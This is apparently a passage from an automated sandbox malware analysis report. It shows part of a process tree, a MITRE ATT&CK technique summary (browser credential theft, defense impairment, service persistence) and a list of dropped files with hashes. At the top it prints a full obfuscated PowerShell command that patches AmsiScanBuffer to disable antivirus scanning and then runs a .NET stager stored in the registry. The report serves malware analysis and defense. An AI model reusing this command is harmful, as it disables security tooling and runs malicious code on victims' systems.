$_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+'o'+'so'+'f'+''+[Char](116)+''+'.'+''+[Char](87)+''+'i'+''+'n'+'3'+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+'t'+'i'+'v'+''+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+'d'+[Char](115)+'');$pjXptAGNVvWDav=$kOIaFnEaudrNR.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](80)+''+'r'+''+'o'+'cA'+'d'+''+[Char](100)+''+'r'+'e'+[Char](115)+'s',[Reflection.BindingFlags]('Pu'+'b'+''+[Char](108)+'ic'+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ixwwtZWmhYzSIwNxafM=YHiiyNTGkgOo @([String])([IntPtr]);$oxnPobYvICBAXTKnFiHJHg=YHiiyNTGkgOo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QxeigYwaQku=$kOIaFnEaudrNR.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'M'+''+[Char](111)+'d'+[Char](117)+''+'l'+''+'e'+''+'H'+''+'a'+'n'+'d'+'le').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+'3'+'2'+[Char](46)+'dll')));$NPDQQIsafZCslP=$pjXptAGNVvWDav.Invoke($Null,@([Object]$QxeigYwaQku,[Object](''+'L'+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+'b'+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$fqPyKzowzQxzWsADZ=$pjXptAGNVvWDav.Invoke($Null,@([Object]$QxeigYwaQku,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+'alPr'+'o'+''+[Char](116)+''+[Char](101)+'c'+'t'+'')));$UbJLeGG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NPDQQIsafZCslP,$ixwwtZWmhYzSIwNxafM).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+'l');$YOMtYXpnDvcuaRFXr=$pjXptAGNVvWDav.Invoke($Null,@([Object]$UbJLeGG,[Object]('A'+[Char](109)+''+'s'+''+'i'+'S'+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+'f'+'e'+''+[Char](114)+'')));$GNLfHdOGEc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fqPyKzowzQxzWsADZ,$oxnPobYvICBAXTKnFiHJHg).Invoke($YOMtYXpnDvcuaRFXr,[uint32]8,4,[ref]$GNLfHdOGEc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YOMtYXpnDvcuaRFXr,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fqPyKzowzQxzWsADZ,$oxnPobYvICBAXTKnFiHJHg).Invoke($YOMtYXpnDvcuaRFXr,[uint32]8,0x20,[ref]$GNLfHdOGEc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+'A'+'R'+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+'l'+'er'+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                                                                                                      1⤵
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      PID:3360
                                                                                                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                      1⤵
                                                                                                        PID:4524
                                                                                                      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                        1⤵
                                                                                                          PID:3820

                                                                                                        Network

                                                                                                              MITRE ATT&CK Enterprise v16

                                                                                                              Reconnaissance

                                                                                                              Resource Development

                                                                                                              Initial Access

                                                                                                              Execution

                                                                                                              Command and Scripting Interpreter

                                                                                                              1
                                                                                                              T1059

                                                                                                              PowerShell

                                                                                                              1
                                                                                                              T1059.001

                                                                                                              System Services

                                                                                                              2
                                                                                                              T1569

                                                                                                              Service Execution

                                                                                                              2
                                                                                                              T1569.002

                                                                                                              Persistence

                                                                                                              Create or Modify System Process

                                                                                                              6
                                                                                                              T1543

                                                                                                              Windows Service

                                                                                                              6
                                                                                                              T1543.003

                                                                                                              Power Settings

                                                                                                              1
                                                                                                              T1653

                                                                                                              Privilege Escalation

                                                                                                              Create or Modify System Process

                                                                                                              6
                                                                                                              T1543

                                                                                                              Windows Service

                                                                                                              6
                                                                                                              T1543.003

                                                                                                              Defense Evasion

                                                                                                              Impair Defenses

                                                                                                              5
                                                                                                              T1562

                                                                                                              Disable or Modify Tools

                                                                                                              3
                                                                                                              T1562.001

                                                                                                              Modify Registry

                                                                                                              5
                                                                                                              T1112

                                                                                                              Virtualization/Sandbox Evasion

                                                                                                              1
                                                                                                              T1497

                                                                                                              Credential Access

                                                                                                              Credentials from Password Stores

                                                                                                              1
                                                                                                              T1555

                                                                                                              Credentials from Web Browsers

                                                                                                              1
                                                                                                              T1555.003

                                                                                                              Unsecured Credentials

                                                                                                              2
                                                                                                              T1552

                                                                                                              Credentials In Files

                                                                                                              2
                                                                                                              T1552.001

                                                                                                              Discovery

                                                                                                              Browser Information Discovery

                                                                                                              1
                                                                                                              T1217

                                                                                                              Query Registry

                                                                                                              6
                                                                                                              T1012

                                                                                                              System Information Discovery

                                                                                                              4
                                                                                                              T1082

                                                                                                              System Location Discovery

                                                                                                              1
                                                                                                              T1614

                                                                                                              System Language Discovery

                                                                                                              1
                                                                                                              T1614.001

                                                                                                              System Time Discovery

                                                                                                              1
                                                                                                              T1124

                                                                                                              Virtualization/Sandbox Evasion

                                                                                                              1
                                                                                                              T1497

                                                                                                              Lateral Movement

                                                                                                              Collection

                                                                                                              Data from Local System

                                                                                                              2
                                                                                                              T1005

                                                                                                              Email Collection

                                                                                                              1
                                                                                                              T1114

                                                                                                              Command and Control

                                                                                                              Exfiltration

                                                                                                              Impact

                                                                                                              Service Stop

                                                                                                              1
                                                                                                              T1489

                                                                                                              Replay Monitor

                                                                                                              Loading Replay Monitor...

                                                                                                              Downloads

                                                                                                              settings.dat
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                                                                              • Size 40B
                                                                                                              • SHA256 62492bc82b5f8c956c405f8b6229357289e5ff2bcafe1b14f72aa92170ff0213
                                                                                                              • MD5 SHA1 SHA512
                                                                                                              Submit Download

                                                                                                              BrowsingTopicsState
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                                                                                              • Size 414B
                                                                                                              • SHA256 abde1dad6bed4be9d0be37e309155025930c40e588dd4677bc0b36f8eb382311
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              data_0
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0
                                                                                                              • Size 44KB
                                                                                                              • SHA256 3d63e694ecc112718131044e60d1fb89e9ecd22bc47d3b941933f0f3f69dde6f
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              data_1
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1
                                                                                                              • Size 264KB
                                                                                                              • SHA256 dd6f34b17a2142ba1353142c62d919c510d8e9635b6f2cafd55fd61c84d0a39d
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              data_2
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_2
                                                                                                              • Size 1.0MB
                                                                                                              • SHA256 e975a2794647ecebbd9dcb58ec3eb31142d819c9336d83c22f0529a070833e06
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              data_3
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_3
                                                                                                              • Size 4.0MB
                                                                                                              • SHA256 921699b3ee65f98eabc1ea0477798eed5461ec651e8355aa7cf4c60335363f11
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              f_000005
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000005
                                                                                                              • Size 35KB
                                                                                                              • SHA256 8646fa09fad983ba5eec6de1449f3d43275f265383b9dce619dabb3a2df96e5d
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              LOG
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG
                                                                                                              • Size 320B
                                                                                                              • SHA256 1e96739abd7acb7bc1ebe3084dde10488a98c758fee39f89d06537feb85c4bca
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              LOG
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
                                                                                                              • Size 332B
                                                                                                              • SHA256 6c7e722243c178a6364764432515f97a7dc3fd9b778b483505c7e348757de298
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              SCT Auditing Pending Reports
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                              • Size 2B
                                                                                                              • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                              • MD5 SHA1 SHA512
                                                                                                              Submit Download

                                                                                                              Preferences
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                              • Size 12KB
                                                                                                              • SHA256 0690878ef00e97eed7402c946d69b4974a8875be23e6bc2135584c9076e8a262
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Secure Preferences
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                              • Size 17KB
                                                                                                              • SHA256 b6664493cc7f354e0d0f13cf223dbfd0ee087fdfcfd4eb7b90ba4c92fef1899c
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              000003.log
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\000003.log
                                                                                                              • Size 4KB
                                                                                                              • SHA256 016195f122ab35bc794ee2145514b3302863b0fd92e66be52e21bd3f978a9f78
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              LOG
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\LOG
                                                                                                              • Size 333B
                                                                                                              • SHA256 e6240e198faebb8eceb73d6ef8c75bc48132263fdbb80faf57305024139548d0
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              67a473248953641b_0
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\67a473248953641b_0
                                                                                                              • Size 119KB
                                                                                                              • SHA256 4219fac64e65cee775f71b81a55e718767cd92b2f2aaab016cde5da737403d09
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              67a473248953641b_1
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\67a473248953641b_1
                                                                                                              • Size 298KB
                                                                                                              • SHA256 e6cc55df8ad4eb883fe368ae70ec8765298b34960b51e1473d00fc9d8a9ca929
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              the-real-index
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                              • Size 96B
                                                                                                              • SHA256 b81afdf891face84a0c0ec8c314242573bf71378f21db5f7f2fe14e587f995b2
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              the-real-index
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                              • Size 120B
                                                                                                              • SHA256 6e7968816c086065a85dcba58b06a22e16bbfe1ba39e0b18a0852ec6206ecd9e
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              the-real-index~RFe59ebfc.TMP
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe59ebfc.TMP
                                                                                                              • Size 96B
                                                                                                              • SHA256 72bd7b1ea5bf74a1184042c10620331c31078a0347e626884e661277b556a684
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              000003.log
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log
                                                                                                              • Size 289B
                                                                                                              • SHA256 0768e811c51ac61a8e573ac6b53f89dbb1d89eb2fcf62536a9a5f730329c584b
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              LOG
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG
                                                                                                              • Size 320B
                                                                                                              • SHA256 abb483b66e6f6e70113b4e01c3bbe26025d48d05a1cfb252a1a8b4bc7e9304f7
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              LOG
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG
                                                                                                              • Size 348B
                                                                                                              • SHA256 ad4a7a97ea4e4385c40551a6e7c47c5beb3abce52110950c5249ed19a8d5452d
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              LOG
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG
                                                                                                              • Size 321B
                                                                                                              • SHA256 08877d74c8bacda4fd46708d802ab6818e44be7edc2ac6153ac39649ba91bb61
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              QuotaManager-journal
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage\QuotaManager-journal
                                                                                                              • Size 12KB
                                                                                                              • SHA256 7823c2b71db3c79caafe6d1158ac6e136e86e778bf661a3575975e0fa666c591
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              000003.log
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log
                                                                                                              • Size 22KB
                                                                                                              • SHA256 5785f1da66e728da7672f79a43d11f4efc2c8814c160e36c59c614f886aed490
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              LOG
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG
                                                                                                              • Size 317B
                                                                                                              • SHA256 c516fff20c16e0cb3a19bdb2a69c0dc4d565618660dbbbe7b30366e98a659a21
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              000003.log
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log
                                                                                                              • Size 1KB
                                                                                                              • SHA256 dd685b4a641f5b404f72a64152cd4d6bf952818307aed119172501725d11a793
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              LOG
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG
                                                                                                              • Size 335B
                                                                                                              • SHA256 add061934daacc12a0252c0baaf3a3f33e8fe077d0859f031c87ff6baabe8e16
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              Last Version
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                                                                                                              • Size 13B
                                                                                                              • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                                                                                                              • MD5 SHA1 SHA512
                                                                                                              Submit Download

                                                                                                              Local State
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                              • Size 198KB
                                                                                                              • SHA256 afb119d1e492e0608d7fca8e37ea072fa508bacf3e6742f3fb86a0312b5d4e49
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Local State
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                              • Size 89KB
                                                                                                              • SHA256 2c857b953667c31c629b0e3d2d6e6aad502cf5388b83ec8813f1c2c5b6ab1e00
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Local State
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                              • Size 89KB
                                                                                                              • SHA256 0bd6284fbb5f9f6c7f7ec8d972777db12db219c5f35b7538205c8c55677d4a3c
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Variations
                                                                                                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Variations
                                                                                                              • Size 86B
                                                                                                              • SHA256 2741df9ee9e9d9883397078f94480e9bc1d9c76996eec5cfe4e77929337cbe93
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              CrashpadMetrics-active.pma
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma
                                                                                                              • Size 16KB
                                                                                                              • SHA256 452a5479b9a2e03612576c30d30e6f51f51274cd30ef576ea1e71d20c657376f
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              settings.dat
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                              • Size 280B
                                                                                                              • SHA256 924e96ec20750cb6a5239ec6615014ae8ebb3de4d3c60595d6c95e7ccd197fe9
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              settings.dat
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                              • Size 280B
                                                                                                              • SHA256 ce180cf0fce9a4a96685bbb0c58efb5750080d37ce961b69a74ae38b49eb68c9
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              BookmarkMergedSurfaceOrdering
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
                                                                                                              • Size 6B
                                                                                                              • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                                                              • MD5 SHA1 SHA512
                                                                                                              Submit Download

                                                                                                              BrowsingTopicsState
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
                                                                                                              • Size 414B
                                                                                                              • SHA256 6c8eaadf8bfb3bbb9b2cbc4bfb77fdccda81027e8e9b412d7f6bbef32816a8c9
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              SiteList-Enterprise.json
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                                                                                                              • Size 2B
                                                                                                              • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                                                                              • MD5 SHA1 SHA512
                                                                                                              Submit Download

                                                                                                              HubApps
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
                                                                                                              • Size 106KB
                                                                                                              • SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Cookies
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
                                                                                                              • Size 28KB
                                                                                                              • SHA256 5ec58ec88b2b2e87755792e818ba489f7fff3b8f0b477bbdfc45b51278f1cc14
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Sdch Dictionaries
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
                                                                                                              • Size 40B
                                                                                                              • SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
                                                                                                              • MD5 SHA1 SHA512
                                                                                                              Submit Download

                                                                                                              Preferences
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                              • Size 17KB
                                                                                                              • SHA256 8391fd896fa8c66671c43a265250acde732abd175bed51425efc1b5fac4f3c90
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Secure Preferences
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                                                                                                              • Size 35KB
                                                                                                              • SHA256 9b455403374ef61830ff60900c0a133f9360bea223ca954f757abb312d336e65
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              sync_diagnostic.log
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
                                                                                                              • Size 23KB
                                                                                                              • SHA256 ed36c61f7dbf3a739ee7365e55c6723be45a3c7563a662ccdf21d8a450fa0599
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              CURRENT
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\dcaajljecejllikfgbhjdgeognacjkkp\CURRENT
                                                                                                              • Size 16B
                                                                                                              • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                                                                              • MD5 SHA1 SHA512
                                                                                                              Submit Download

                                                                                                              MANIFEST-000001
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\dcaajljecejllikfgbhjdgeognacjkkp\MANIFEST-000001
                                                                                                              • Size 41B
                                                                                                              • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                                                                                                              • MD5 SHA1 SHA512
                                                                                                              Submit Download

                                                                                                              Web Data
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
                                                                                                              • Size 224KB
                                                                                                              • SHA256 a3c5c0df1acadbd590d9a5c8d2892b92f64b6cf0d4d22bffb265c899892cd40a
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Last Browser
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Browser
                                                                                                              • Size 120B
                                                                                                              • SHA256 9c70f766d3b84fc2bb298efa37cc9191f28bec336329cc11468cfadbc3b137f4
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              Last Version
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
                                                                                                              • Size 14B
                                                                                                              • SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
                                                                                                              • MD5 SHA1 SHA512
                                                                                                              Submit Download

                                                                                                              Local State
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                              • Size 26KB
                                                                                                              • SHA256 00822dccdb513cea5673a9eb5391b8fc119642ae4904a05d115ade898a37316f
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Local State
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                              • Size 27KB
                                                                                                              • SHA256 d1af4cc9aef62fca72ce790fd79a23c7065840b9d9ff472d0c8e308f518d6a55
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Local State
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                              • Size 26KB
                                                                                                              • SHA256 615ce21f90203a39ed63fc3737a6b215bf126c8276357590d2d5dc655e2fe28d
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              Variations
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Variations
                                                                                                              • Size 87B
                                                                                                              • SHA256 c7209c3eb51763e3139fa0a5e5a1d18b610932294b507ba5d043658e45953727
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              first_party_sets.db
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\first_party_sets.db
                                                                                                              • Size 68KB
                                                                                                              • SHA256 24ed023e5ffac8ebbf8de2017e3e798efb325279d52d1cabd3ce373cf5f2f13c
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
                                                                                                              • Size 2KB
                                                                                                              • SHA256 953bc07edabefafeeb35f044a9ef128127901eae093f2b6ad9cb37eca8ab600c
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              Cookies
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\38f7-02bc-3937-bd69\Cookies
                                                                                                              • Size 20KB
                                                                                                              • SHA256 270175689c2c34cb4d2b46da788a5a903c6774b515551c9ba534d4e7f60fe5c0
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              H5vSQfPq3tJS
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\H5vSQfPq3tJS
                                                                                                              • Size 40KB
                                                                                                              • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              __PSScriptPolicyTest_dm00q35n.a3s.ps1
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dm00q35n.a3s.ps1
                                                                                                              • Size 60B
                                                                                                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                              Submit Download

                                                                                                              fi2lL4bBC2.exe
                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\fi2lL4bBC2.exe
                                                                                                              • Size 4.2MB
                                                                                                              • SHA256 daf2f9bf482c5f3357d790a116fa3cb6204ae4fad6b375e35c6c2860a5b9f886
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              1.bat
                                                                                                              • Path C:\Users\Admin\AppData\Roaming\CxyQKb\Be9246pvBD\1.bat
                                                                                                              • Size 9KB
                                                                                                              • SHA256 1848fa2af5371d00bc4f0346ae1f5afd843677ca87de377a3f7b2433c0b7b187
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              chrome_144.exe
                                                                                                              • Path C:\Users\Admin\Ju15O\f5ik058\chrome_144.exe
                                                                                                              • Size 8.6MB
                                                                                                              • SHA256 87fa7adbad1fe994d57d118c12dac691b0587db0c25e50cebbb8642bd53da08d
                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                              Submit Download

                                                                                                              memory/688-1139-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                              Download

                                                                                                              memory/688-1140-0x00007FF89B090000-0x00007FF89B285000-memory.dmp
                                                                                                              Download

                                                                                                              memory/688-1136-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                              Download

